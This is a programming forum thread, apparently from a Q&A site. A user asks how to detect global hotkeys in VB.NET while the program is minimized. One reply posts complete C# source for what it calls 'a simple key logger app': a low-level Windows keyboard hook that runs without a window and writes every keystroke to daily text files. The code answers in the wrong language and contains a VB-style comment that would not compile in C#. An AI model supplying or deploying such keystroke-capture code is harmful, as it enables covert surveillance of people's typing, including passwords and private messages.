I want to do some action with the help of multiple key pressed in vb.net even program is minimized. I've read the only way of detecting global keys is using a timer. So can someone please tell me how to do it? With multiple keys. (eg: ALT+A)

A timer is simply another thread that runs concurrently with the main thread. When your program is minimized it does not have focus and does not receive notification of keyboard events.

The only way I know how to detect global keys is using user32.dll and kernel32.dll methods.

You won't be needing timer to do this, as it is all about callbacks.

This is an simple key logger app, please use it with care and conscience, don't make anything stupid with it.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Diagnostics;
using System.Reflection;

namespace Something
{
    static class Program
    {
        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr SetWindowsHookEx ( int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId );

        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        [return: MarshalAs( UnmanagedType.Bool )]
        private static extern bool UnhookWindowsHookEx ( IntPtr hhk );

        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr CallNextHookEx ( IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam );

        [DllImport( "kernel32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr GetModuleHandle ( string lpModuleName );


        private const int SW_HIDE = 0;
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_KEYUP = 0x0101;

        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        public static bool shiftPressed = false;
        public static bool capsLockPressed = false;

        public static int shift = 0;
        public static int caps = 0;

        public static void Main ()
        {
            var exists = Process.GetProcessesByName( Path.GetFileNameWithoutExtension( Assembly.GetEntryAssembly().Location ) ).Count() > 1;
            ' Return if program is already running
            if ( exists ) return;

            _hookID = SetHook( _proc );

            Application.Run();

            UnhookWindowsHookEx( _hookID );
        }

        private static IntPtr SetHook ( LowLevelKeyboardProc proc )
        {
            using ( Process curProcess = Process.GetCurrentProcess() )

            using ( ProcessModule curModule = curProcess.MainModule )
            {
                return SetWindowsHookEx( WH_KEYBOARD_LL, proc, GetModuleHandle( curModule.ModuleName ), 0 );
            }

        }

        private delegate IntPtr LowLevelKeyboardProc (int nCode, IntPtr wParam, IntPtr lParam );

        private static IntPtr HookCallback ( int nCode, IntPtr wParam, IntPtr lParam )
        {
            try
            {
                if ( nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN )
                {
                    int vkCode = Marshal.ReadInt32( lParam );

                    if ( Keys.Shift == Control.ModifierKeys ) shift = 1;
                    else shift = 0;

                    switch ( (Keys) vkCode )
                    {
                        case Keys.Space:
                            log( " " );
                            break;
                        case Keys.Return:
                            log( Environment.NewLine );
                            break;
                        case Keys.Back:
                            log( "[ Back ]" );
                            break;
                        case Keys.Tab:
                            log( "[ TAB ]" );
                            break;
                        case Keys.D0:
                            if ( shift == 0 ) log( "0" );
                            else log( ")" );
                            break;
                        case Keys.D1:
                            if ( shift == 0 ) log( "1" );
                            else log( "!" );
                            break;
                        case Keys.D2:
                            if ( shift == 0 ) log( "2" );
                            else log( "@" );
                            break;
                        case Keys.D3:
                            if ( shift == 0 ) log( "3" );
                            else log( "#" );
                            break;
                        case Keys.D4:
                            if ( shift == 0 ) log( "4" );
                            else log( "$" );
                            break;
                        case Keys.D5:
                            if ( shift == 0 ) log( "5" );
                            else log( "%" );
                            break;
                        case Keys.D6:
                            if ( shift == 0 ) log( "6" );
                            else log( "^" );
                            break;
                        case Keys.D7:
                            if ( shift == 0 ) log( "7" );
                            else log( "&" );
                            break;
                        case Keys.D8:
                            if ( shift == 0 ) log( "8" );
                            else log( "*" );
                            break;
                        case Keys.D9:
                            if ( shift == 0 ) log( "9" );
                            else log( "(" );
                            break;

                        case Keys.LShiftKey:
                        case Keys.RShiftKey:
                            {
                                log( "" );
                                break;
                            }
                        case Keys.LControlKey:
                        case Keys.RControlKey:
                        case Keys.LMenu:
                        case Keys.RMenu:
                        case Keys.LWin:
                        case Keys.RWin:
                        case Keys.Apps:
                            {
                                //log( ( (Keys) vkCode ).ToString() );
                            }
                            break;
                        case Keys.Delete:
                            log( "[ Delete ]" );
                            break;
                        case Keys.OemQuestion:
                            if ( shift == 0 ) log( "/" );
                            else log( "?" );
                            break;
                        case Keys.OemOpenBrackets:
                            if ( shift == 0 ) log( "[" );
                            else log( "{" );
                            break;
                        case Keys.OemCloseBrackets:
                            if ( shift == 0 ) log( "]" );
                            else log( "}" );
                            break;
                        case Keys.Oem1:
                            if ( shift == 0 ) log( ";" );
                            else log( ":" );
                            break;
                        case Keys.Oem7:
                            if ( shift == 0 ) log( "'" );
                            else log( '"' );
                            break;
                        case Keys.Oemcomma:
                            if ( shift == 0 ) log( "," );
                            else log( "<" );
                            break;
                        case Keys.OemPeriod:
                            if ( shift == 0 ) log( "." );
                            else log( ">" );
                            break;
                        case Keys.OemMinus:
                            if ( shift == 0 ) log( "-" );
                            else log( "_" );
                            break;
                        case Keys.Oemplus:
                            if ( shift == 0 ) log( "=" );
                            else log( "+" );
                            break;
                        case Keys.Oemtilde:
                            if ( shift == 0 ) log( "`" );
                            else log( "~" );
                            break;
                        case Keys.Oem5:
                            log( "|" );
                            break;

                        case Keys.Capital:
                            {
                                if ( caps == 0 ) caps = 1;
                                else caps = 0;
                            }
                            break;
                        case Keys.Left:
                            log( "[ Left ]" );
                            break;
                        case Keys.Right:
                            log( "[ Right ]" );
                            break;
                        case Keys.Up:
                            log( "[ Up ]" );
                            break;
                        case Keys.Down:
                            log( "[ Down ]" );
                            break;
                        case Keys.Home:
                            log( "[ Home ] " );
                            break;
                        case Keys.End:
                            log( "[ End ] " );
                            break;
                        case Keys.PageDown:
                            log( "[ PageDown ] " );
                            break;
                        case Keys.PageUp:
                            log( "[ PageUp ] " );
                            break;
                        case Keys.OemBackslash:
                                if ( shift == 1 ) log( "|" );
                                else log( "\\" );
                                break;
                        default:
                            {
                                if ( shift == 0 && caps == 0 ) log( ( (Keys) vkCode ).ToString().ToLower() );
                                if ( shift == 1 && caps == 0 ) log( ( (Keys) vkCode ).ToString().ToUpper() );
                                if ( shift == 0 && caps == 1 ) log( ( (Keys) vkCode ).ToString().ToUpper() );
                                if ( shift == 1 && caps == 1 ) log( ( (Keys) vkCode ).ToString().ToLower() );
                            }
                            break;
                    }
                }
            }
            catch ( Exception ex )
            {
                log( ex.Message + Environment.NewLine, "log_erro" );
            }
            return CallNextHookEx( _hookID, nCode, wParam, lParam );
        }

        static void log ( char text )
        {
            log( text.ToString(), "log" );
        }

        static void log ( string text )
        {
            log( text, "log" );
        }

        static void log ( string text, string file )
        {

            string fname = file + DateTime.Now.ToString( "yyyyMMdd" ) + ".txt";

            StreamWriter sWriter = new StreamWriter( Application.StartupPath + @"\" +fname, true );

            sWriter.Write( text );

            sWriter.Close();
        }
    }
}

Edited 2 Years Ago by AleMonteiro: more info

Revend Jim, sorry about that, I got focused on the problem and forgot about the details.
I've updated the post to make it clear.
But anyway, he can get the logic about it, even if he has to re-write.

Update: I can't delete nor update my previous post. I'm not finding a way to fix it =/

Edited 2 Years Ago by AleMonteiro

This article has been dead for over six months. Start a new discussion instead.